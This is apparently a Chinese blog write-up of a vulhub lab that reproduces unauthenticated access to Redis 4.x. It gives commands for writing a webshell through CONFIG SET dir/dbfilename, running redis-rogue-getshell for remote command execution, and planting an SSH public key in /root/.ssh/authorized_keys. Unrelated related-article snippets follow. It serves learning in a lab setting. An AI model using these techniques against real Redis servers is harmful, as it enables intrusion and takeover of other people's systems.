【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

news2024/11/26 18:22:59

一、漏洞详情

影响版本 Redis 2.x,3.x,4.x,5.x

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞的产生条件有以下两点:

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

二、复现过程

  1. 搭建docker环境

docker-compose up -d
docker-compose ps

也可以看出redis 6379已经启动

用nmap扫描也可以

nmap -sV 192.168.239.128 -p 1-65535
  1. 攻击机安装redis-cli远程连接工具

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/
redis-cli -h
  1. 用redis-cli命令远程免密登录redis主机

# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码
redis-cli -h 192.168.239.128

测试连通性 ping----PONG

  1. 写入shell文件

参考:https://blog.csdn.net/weixin_45605352/article/details/118790775

因为靶场没有开启web端口无法直接上传木马文件,所以用写入shell文件的方式添加后门

将dir设置为一个目录A,而dbfilename为文件名B,再执行save或bgsave,则我们就可以写入一个路径为/A/B的任意文件

在tmp目录下写入一个test.php的木马文件

写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行

进入靶机查看

docker exec -it 098263dc170f /bin/bash

写入shell文件成功

  1. 使用py脚本执行远程命令

git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK/exp
make
cd ..
cd ..
回到redis-rogue-getshell目录下
./redis-master.py -r 192.168.239.128 -p 6379 -L 192.168.239.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
(第一个ip是靶机,第二个ip是攻击机)
./redis-master.py -r 192.168.239.128 -p 6379 -L 192.168.239.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "ls"
  1. ssh公私钥免密登录

原理:
登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥,然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key的登陆方式。
但是为什么redis可以获取服务器的root权限呢?
上面RSA key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redis是root启动的情况下使用,因为非root权限无法进入/root目录)

在攻击机中生成ssh公钥和私钥文件,密码为空

ssh-keygen -t rsa

回车回车回车

进入/root/.ssh目录: 将生成的公钥保存到1.txt:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

使用redis-cli -h ip命令连接靶机,把1.txt写入redis中(因为在上面已经连接过了)

cat 1.txt | redis-cli -h 192.168.239.128 -x set crack

更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

config set dir /root/.ssh

报错了,说没有root权限

(error) ERR Changing directory: Permission denied

可能是vulhub靶场搭建的问题

在网上没找到解决办法😵

那只能看看别的大佬的复现过程了

设置上传公钥的备份文件名字为authorized_keys:

CONFIG SET dbfilename authorized_keys

保存并退出

此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器

三、总结

还有计时反弹shell的方法,具体还是可以看这位大佬的文章:

https://blog.csdn.net/weixin_45605352/article/details/118790775

第一次看使用公私钥ssh免密登录的过程

还有计时任务反弹的过程

网络安全真是学无止境

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/384621.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux:https静态网站搭建案例

目录介绍httpshttps通信过程例介绍https 整个实验是在http实验基础上进行的 因为http协议在传输的时候采用的是明文传输,有安全隐患,所以出现了https(安全套接字层超文本传输协议) HTTPS并不是一个新协议, 而是HTTP…

【YOLO系列】YOLOv5超详细解读(网络详解)

前言 吼吼!终于来到了YOLOv5啦! 首先,一个热知识:YOLOv5没有发表正式论文哦~ 为什么呢?可能YOLOv5项目的作者Glenn Jocher还在吃帽子吧,hh 目录 前言 一、YOLOv5的网络结构 二、输入端 (1…

微软发布多模态版ChatGPT!取名“宇宙一代”

文|CoCo酱Ludwig Wittgenstein曾说过:“我语言的局限,即是我世界的局限”。大型语言模型(LLM)已成功地作为各种自然语言任务的通用接口,只要我们能够将输入和输出转换为文本,就可以将基于LLM的接…

爱普生L805开机后所有灯一起闪烁不打印

故障现象: 爱普生L805彩色喷墨打印机开机后所有灯全闪烁,不能打印了?(电源灯、WiFi灯闪绿色,状态 灯、墨水灯、缺纸灯闪红色;) </

【正点原子FPGA连载】第二十二章IP封装与接口定义实验 摘自【正点原子】DFZU2EG_4EV MPSoC之嵌入式Vitis开发指南

1&#xff09;实验平台&#xff1a;正点原子MPSoC开发板 2&#xff09;平台购买地址&#xff1a;https://detail.tmall.com/item.htm?id692450874670 3&#xff09;全套实验源码手册视频下载地址&#xff1a; http://www.openedv.com/thread-340252-1-1.html 第二十二章IP封装…

大话数据结构-树

1 概述 树&#xff08;Tree&#xff09;是n&#xff08;n > 0&#xff09;个结点的有限集。n 0时称为空树。在任意一棵非空树中&#xff1a;   (1) 有且仅有一个特定的称为根&#xff08;root&#xff09;的结点&#xff1b;   (2) 当n > 1时&#xff0c;其余结点可…

(Fabric 超级账本学习【1】)Fabcar网络调用Fabric-Java-SDK进行简单开发 FabCar

Fabric 2.3网络调用Fabric-Java-SDK进行简单开发 FabCar 1、先进入fabcar文件夹 2、启动网络 ./startFabric.sh down 启动成功 3、查看启动情况 docker 镜像 4、新建SpringBoot工程项目。导入如下Fabric依赖包 <dependency><groupId>org.hyperledger.fabric…

【LeetCode】剑指 Offer(14)

目录 题目&#xff1a;剑指 Offer 32 - I. 从上到下打印二叉树 - 力扣&#xff08;Leetcode&#xff09; 题目的接口&#xff1a; 解题思路&#xff1a; 代码&#xff1a; 过啦&#xff01;&#xff01;&#xff01; 写在最后&#xff1a; 题目&#xff1a;剑指 Offer 32…

缓冲器/驱动器/收发器IC

一、前言 记录学习未使用过的IC&#xff0c;开发使用新的IC&#xff0c;就是玩 本编文章主要介绍缓冲器/驱动器/收发器 目录一、前言二、环境三、正文1.SN74HCT245NSR2.四、结语二、环境 FPGA或MCU低驱动能力引脚 单向长距离信号 三、正文 1.SN74HCT245NSR DIR高电平&#…

适合小团队协作、任务管理、计划和进度跟踪的项目任务管理工具有哪些?

适合小团队协作、任务管理、计划和进度跟踪的项目任务管理工具有哪些? 大家可以参考这个模板&#xff1a;http://s.fanruan.com/irhj8管理项目归根结底在管理人、物&#xff0c;扩展来说便是&#xff1a; 人&#xff1a;员工能力、组织机制&#xff1b; 物&#xff1a;项目内…

01-前端-htmlcss

文章目录HTML&CSS1&#xff0c;HTML1.1 介绍1.2 快速入门1.3 基础标签1.3.1 标题标签1.3.2 hr标签1.3.3 字体标签1.3.4 换行标签1.3.5 段落标签1.3.6 加粗、斜体、下划线标签1.3.7 居中标签1.3.8 案例1.4 图片、音频、视频标签1.5 超链接标签1.6 列表标签1.7 表格标签1.8 布…

charts BarChartView柱状图宽度自适应

ios-charts是一个强大的图表框架&#xff0c;MPAndroidChart在 iOS 上的移植。GitHub地址:https://github.com/danielgindi/Charts.git有一些基础的图标框架来展示,但是实际项目中还是会有所改动的针对charts 的BarChartDataEntry和BarChartRenderer进行了部分修改添加了barWid…

联想配对法

一、课程目的1.掌握联想配对法2.实战应用训练二、发挥咱们的想象力使两者发生关系&#xff0c;让图像动起来三、练习&#xff08;1&#xff09;老鼠飞机我们可以想象老鼠开飞机或者飞机撞倒了老鼠&#xff08;2&#xff09;建立联接的方法要点外置法:把一个图像放在另一个外面旋…

【C/C++语言】刷题|双指针|数组|单链表

主页&#xff1a;114514的代码大冒 qq:2188956112&#xff08;欢迎小伙伴呀hi✿(。◕ᴗ◕。)✿ &#xff09; Gitee&#xff1a;庄嘉豪 (zhuang-jiahaoxxx) - Gitee.com 文章目录 目录 文章目录 前言 一、删除有序数组中的重复项 二、合并两个有序数组 三&#xff0c;移除…

QT中多项目管理问题,同时构建多个项目

QT中多项目管理问题 0.前言 在编写项目的过程中&#xff0c;当项目比较多时&#xff0c;需要进行统一的管理&#xff0c;这时可以使用qt的子项目管理的方式。 参考&#xff1a; QT 创建多个子项目&#xff0c;以及调用&#xff1a;https://blog.csdn.net/chen1231985111/art…

Docker--(四)--搭建私有仓库(registry、harbor)

私有仓库----registry官方提供registry仓库管理&#xff08;推送、删除、下载&#xff09;私有仓库----harbor私有镜像仓库1.私有仓库----registry官方提供 Docker hub官方已提供容器镜像registry,用于搭建私有仓库 1.1 镜像拉取、运行、查看信息、测试 (一) 拉取镜像 # dock…

企业级分布式数据库 - GaussDB介绍

目录 什么是GaussDB 简介 应用场景 产品架构 产品优势 安全 责任共担 身份认证与访问控制 数据保护技术 审计与日志 ​​​​​​​监控安全风险 ​​​​​​​故障恢复 ​​​​​​​认证证书 GaussDB与其他服务的关系 约束与限制 计费模式 什么是GaussDB …

如何在openKylin操作系统上搭建Qt开发环境

一、获取linux系统下的Qt安装包 Qt官网下载地址&#xff1a;https://download.qt.io 国内镜像下载地址&#xff1a;https://mirrors.cloud.tencent.com/qt/ 。建议用镜像下载速度快。集成安装包在 official_releases/qt 目录下&#xff0c;新地址&#xff1a;https://downloa…

避免重启应用,10倍提升本地研发效率

谁在消耗我们的开发时间&#xff1f; 修改一点代码要重启项目&#xff0c;每次都要浪费很多时间进行方法调试时&#xff0c;要么需要Http请求&#xff0c;要么写个单元测试&#xff0c;非常烦 思考&#xff1a;有没有可能实现热部署随意测试任何一个方法&#xff1f; 热部署 …

开源计划 - 用海量设备汇聚成一台巨型处理器的开源项目

巨型处理器特性1. 由各种能够联网的普通智能设备组成2. 模拟硬件3. 存储器即处理器4. 数据处理的匿名化在2016年的时候&#xff0c;曾经设想过一种处理器。运行在海量的浏览器之上&#xff0c;可用于处理大规模的GPS地理定位距离的运算。后来开始逐渐做了新的延伸&#xff0c;打…